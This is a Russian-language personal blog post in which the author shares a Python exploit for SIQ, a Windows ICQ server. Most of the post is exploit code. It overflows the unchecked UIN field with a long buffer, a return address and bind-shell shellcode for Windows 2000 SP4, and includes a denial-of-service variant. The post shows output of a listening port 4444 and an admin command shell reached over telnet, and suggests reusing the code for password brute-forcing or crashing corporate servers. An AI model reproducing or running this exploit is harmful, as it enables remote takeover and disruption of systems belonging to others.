slav0nic's blog

Заметки о python, linux и других занимательных вещах

SIQ (icq server for win32) exploit

Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)

Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )

Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):

# SIQ (www.kht.ru/homepage/apt/siq.htm) exploit 
#Coded by slav0nic (http://slav0nic.org.ua)

import struct
from socket import *
from random import *

"""
word == 2 bytes ;)
FLAP (6 bytes):
    CS - Command Start (byte)  
    CH - Channel    (byte)
    SN - Sequence Number (word) random 
    L - Data Field Length (word)
SNACs:
--------------------------------    
    D - Data (L)  
     \_
      | TLV_id (word)
      | TLV_len (word)
      | TLV_data (TLV_len)
      |.......
"""
#Constants
#   TLV

TLV_UIN = 1
TLV_PWD = 2
TLV_VERSION= 3
TLV_ERROR = 4
TLV_REDIR = 5
TLV_COOKIE = 6
TLV_COUNTRY = 14
TLV_LANG = 15
#---------------------------------
#   Channels
CH_LOGIN = 1
CH_SNAC = 2
CH_ERROR = 3
CH_LOGOUT = 4


HELLO = "\x00\x00\x00\x01"
FLAP_START = "2a"

DBG = 1

def get_hello(s):
    "get FLAP\x00\x00\x00\x01"
    data = s.recv(10)
    if data[-4:] == "\x00\x00\x00\x01":
        return True                
    else:
        return False


def get_length(hex_):
    """
     hexed string ->int
     return int
    """

    tmp = list(map(lambda x: str(ord(x)),tuple(hex_)))   #convert hex->ascii and join
    tmp[0]=int(tmp[0])*256  
    _int=tmp[0]+int(tmp[1])
    return _int                                         #exmpl. 01 0a = 266

def tohex(str_):
    """
    Use for debug
        str->hex
        return ([hex], str)
    """

    hex_= map(lambda x: "%.2x"%ord(x),tuple(str_))
    text =" ".join(hex_)
    return hex_, text

def make_flap(channel,data):

    l = len(data)
    fmt = '!BBhh %ds' %l
    return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data)

def tlv_make(TLV_id, TLV_data):
    """return tlv-encoded string"""
    l = len(TLV_data)
    fmt = '!hh %ds' % l
    return struct.pack(fmt, TLV_id, l, TLV_data)


def parse_tlv(data):
    """
    received data -> tvl_info{}
    """
    tlv_info = {}
    while 1:
        if len(data)<4: break
        tlv_id  = get_length(data[0:2])   #get tlv id (word)
        tlv_len = get_length(data[2:4])  #and len    (word)       
        tlv_info[tlv_id]=data[4:4+tlv_len]
        data    = data[4+tlv_len:]  #remove parsed data
    return tlv_info

def make_snac(family, subtype, flags, req_id):
    fmt="!hhhl"
    return struct.pack(fmt,family, subtype, flags, req_id)

def parse_flap(data):
    hex_data = tohex(data)[0]
    CS = hex_data[0]
    if CS != FLAP_START:
        if DBG: print "[-]Protocol error."
    CH = hex_data[1]
    SN = "".join(hex_data[2:4])
    L = "".join(hex_data[4:6])
    data_size=get_length(data[4:6])
    D = "".join(hex_data[6:6+data_size])
    tlv_info = parse_tlv(data[6:6+data_size])
    print tlv_info
    #LOGIN
    if tlv_info.has_key(TLV_REDIR):
        ip_port=tlv_info.get(TLV_REDIR)
        if tlv_info.has_key(TLV_COOKIE):
            cookie = tlv_info.get(TLV_COOKIE)
        ip, port = ip_port.split(":")
        s = socket(AF_INET, SOCK_STREAM)
   #     s.settimeout(3)                 #DBG
        s.connect((ip, int(port)))

        packet="\x2a\x01"+\
                "\x20\x04\x01\x08\x00\x00\x00\x01"+\
                tlv_make(6,cookie)
        s.send(packet)
        get_hello(s)
        rec=s.recv(1024)

        print "\n\nrec ",tohex(rec)[1]
        packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\
                         "\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02"+\
                         "\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15"+\
                         "\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01"+\
                         "\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01")
        s.send(packet)
        rec=s.recv(1024)
        print "\n\n",tohex(rec)[1]


    if DBG:
        print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\
              %(CS, CH, SN, L, D)

def make_pass(str_):
    """
       encode string to password
       len(password) <= 16
       return binary string
    """
    roasting_array = ( 0xF3, 0x26, 0x81, 0xC4,
                       0x39, 0x86, 0xDB, 0x92,
                       0x71, 0xA3, 0xB9, 0xE6,
                       0x53, 0x7A, 0x95, 0x7C)
    passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)]))
    return passwrd

def login(uin, password):
    """
    uin and password - string
    return True if logged
    """
    serverHost = "127.0.0.1" #login.icq.com
    serverPort = 5190   
    message = make_flap(CH_LOGIN,HELLO +\
          tlv_make(TLV_UIN, uin)+\
          tlv_make(TLV_PWD, make_pass(password))+\
          tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\
          tlv_make(16, "\x01\x0a")+\
          tlv_make(17, "\x00\x03")+\
          tlv_make(18, "\x00\x03")+\
          tlv_make(19, "\x00\x01")+\
          tlv_make(0x1a, "\x0e\xd8")+\
          tlv_make(0x14, "\x00\x00\x00\x55")+\
          tlv_make(TLV_LANG, "ru")+\
          tlv_make(TLV_COUNTRY, "ru"))
    sockobj = socket(AF_INET, SOCK_STREAM)
    sockobj.connect((serverHost, serverPort))
    data = sockobj.recv(1024)    #get hello msg (test packet)       
    if DBG:  print "<<",tohex(data)[1]
    if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data:
        if DBG:  print "[+]Connected"
    else:
        print "[-]Server error. Can't get test FLAP"
        sockobj.close()
    if DBG: print "->",tohex(message)[1]
  #  sockobj.settimeout(10)  #DBG
    while True:
        sockobj.send(message)
        data = sockobj.recv(1024)
        if DBG: print "<<",tohex(data)[1]
        parse_flap(data)
    return True


if __name__=="__main__":
    "bindshell 4444 shellcode for  win2ksp4ru"
    sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"


    #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes#
    uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400
    login(uin,"123")

Запускаем и вуаля...

<< 2a 01 68 d3 00 04 00 00 00 01

[+]Connected

-> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 
...

Смотрим открытые порты и видим наш 4444 порт В) :

C:\\WebServer\\siq>netstat -na

Активные подключения

Имя    Локальный адрес        Внешний адрес          Состояние

TCP    0.0.0.0:135            0.0.0.0:0              LISTENING

TCP    0.0.0.0:445            0.0.0.0:0              LISTENING

TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1026           0.0.0.0:0              LISTENING

                                ...

TCP    0.0.0.0:1035           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1058           0.0.0.0:0              LISTENING

TCP    0.0.0.0:1101           0.0.0.0:0              LISTENING

TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5190           0.0.0.0:0              LISTENING

TCP    0.0.0.0:5191           0.0.0.0:0              LISTENING

Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами.

Microsoft Windows 2000 [Версия 5.00.2195]

(с) Корпорация Майкрософт, 1985-2000.



C:\WINNT2\system32>

Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В)

SIQ Exploit

web.py